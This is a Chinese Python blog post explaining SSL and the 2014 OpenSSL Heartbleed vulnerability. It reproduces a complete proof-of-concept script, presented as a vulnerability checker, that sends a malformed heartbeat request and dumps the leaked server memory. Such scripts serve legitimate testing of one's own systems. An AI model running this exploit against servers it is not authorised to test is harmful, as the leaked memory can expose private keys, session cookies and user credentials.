一个检测OpenSSL心脏出血漏洞的Python脚本分享


Posted in Python onApril 10, 2014

什么是SSL?

SSL是一种流行的加密技术,可以保护用户通过互联网传输的隐私信息。网站采用此加密技术后,第三方无法读取你与该网站之间的任何通讯信息。在后台,通过SSL加密的数据只有接收者才能解密。

SSL最早在1994年由网景推出,1990年代以来已经被所有主流浏览器采纳。

什么是“心脏出血”漏洞?

SSL标准包含一个心跳选项,允许SSL连接一端的电脑发出一条简短的信息,确认另一端的电脑仍然在线,并获取反馈。研究人员发现,可以通过巧妙的手段发出恶意心跳信息,欺骗另一端的电脑泄露机密信息。受影响的电脑可能会因此而被骗,并发送服务器内存中的信息。

谁发现的这个问题?

该漏洞是由Codenomicon和谷歌安全部门的研究人员独立发现的。为了将影响降到最低,研究人员已经与OpenSSL团队和其他关键的内部人士展开了合作,在公布该问题前就已经准备好修复方案。

检测OpenSSL心脏出血漏洞的Python脚本

#!/usr/bin/python# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
# The author disclaims copyright to this source code.
import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser
options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')
hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01                                 
''')
hb = h2bin('''
18 03 02 00 03
01 40 00
''')
def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print
def recvall(s, length, timeout=5):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata
 
def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay
def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False
        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True
        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False
def main():
    opts, args = options.parse_args()
    if len(args) < 1:
        options.print_help()
        return
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print 'Connecting...'
    sys.stdout.flush()
    s.connect((args[0], opts.port))
    print 'Sending Client Hello...'
    sys.stdout.flush()
    s.send(hello)
    print 'Waiting for Server Hello...'
    sys.stdout.flush()
    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break
    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)
if __name__ == '__main__':
    main()
Python 相关文章推荐
Python3 能振兴 Python的原因分析
Nov 28 Python
python九九乘法表的实例
Sep 26 Python
浅谈用Python实现一个大数据搜索引擎
Nov 28 Python
详解python中的 is 操作符
Dec 26 Python
pandas DataFrame数据转为list的方法
Apr 11 Python
在Pycharm中修改文件默认打开方式的方法
Jan 17 Python
python学生管理系统学习笔记
Mar 19 Python
python lambda表达式在sort函数中的使用详解
Aug 28 Python
python dumps和loads区别详解
Feb 04 Python
pytorch之Resize()函数具体使用详解
Feb 27 Python
python+selenium+chrome批量文件下载并自动创建文件夹实例
Apr 27 Python
python实现邮件循环自动发件功能
Sep 11 Python
Python删除指定目录下过期文件的2个脚本分享
Apr 10 #Python
python实现随机密码字典生成器示例
Apr 09 #Python
Python下的Mysql模块MySQLdb安装详解
Apr 09 #Python
使用python实现递归版汉诺塔示例(汉诺塔递归算法)
Apr 08 #Python
python计算圆周长、面积、球体体积并画出圆
Apr 08 #Python
python实现类似ftp传输文件的网络程序示例
Apr 08 #Python
Python collections模块实例讲解
Apr 07 #Python
You might like
php中用文本文件做数据库的实现方法
2008/03/27 PHP
工厂模式在Zend Framework中应用介绍
2012/07/10 PHP
解析php扩展php_curl.dll不加载的解决方法
2013/06/26 PHP
调整PHP的性能
2013/10/30 PHP
PHP使用stream_context_create()模拟POST/GET请求的方法
2016/04/02 PHP
WordPress过滤垃圾评论的几种主要方法小结
2016/07/11 PHP
在php的yii2框架中整合hbase库的方法
2018/09/20 PHP
Javascript中的数学函数
2007/04/04 Javascript
javascript 获取所有id中包含某关键字的控件的实现代码
2010/11/25 Javascript
通过jquery的$.getJSON做一个跨域ajax请求试验
2011/05/03 Javascript
jQuery制作仿腾讯web qq用户体验桌面
2013/08/20 Javascript
jquery slibings选取同级其他元素的实现代码
2013/11/15 Javascript
使用js判断当前时区TimeZone是否是夏令时
2014/02/23 Javascript
node.js中的Socket.IO使用实例
2014/11/04 Javascript
jquery实现简单文字提示效果
2015/12/02 Javascript
全面解析Angular中$Apply()及$Digest()的区别
2016/08/04 Javascript
canvas绘制多边形
2017/02/24 Javascript
angularjs 页面自适应高度的方法
2018/01/17 Javascript
使用Jenkins部署React项目的方法步骤
2019/03/11 Javascript
layui radio点击事件实现input显示和隐藏的例子
2019/09/02 Javascript
Python中List.index()方法的使用教程
2015/05/20 Python
python实现数据写入excel表格
2018/03/25 Python
Python爬取视频(其实是一篇福利)过程解析
2019/08/01 Python
python中urllib.request和requests的使用及区别详解
2020/05/05 Python
python爬虫爬取某网站视频的示例代码
2021/02/20 Python
美国成衣女装品牌:CHICO’S
2016/09/19 全球购物
丹尼尔惠灵顿手表天猫官方旗舰店:Daniel Wellington
2017/08/25 全球购物
利用指针变量实现队列的入队操作
2012/04/07 面试题
城市精细化管理实施方案
2014/03/04 职场文书
负责人任命书范本
2014/06/04 职场文书
合作协议书模板2014
2014/09/26 职场文书
迎国庆横幅标语
2014/10/08 职场文书
销售员未完成销售业绩的检讨书
2014/10/12 职场文书
信息技术教研组工作总结
2015/08/13 职场文书
DSP接收机前端设想
2022/04/05 无线电
redis protocol通信协议及使用详解
2022/07/15 Redis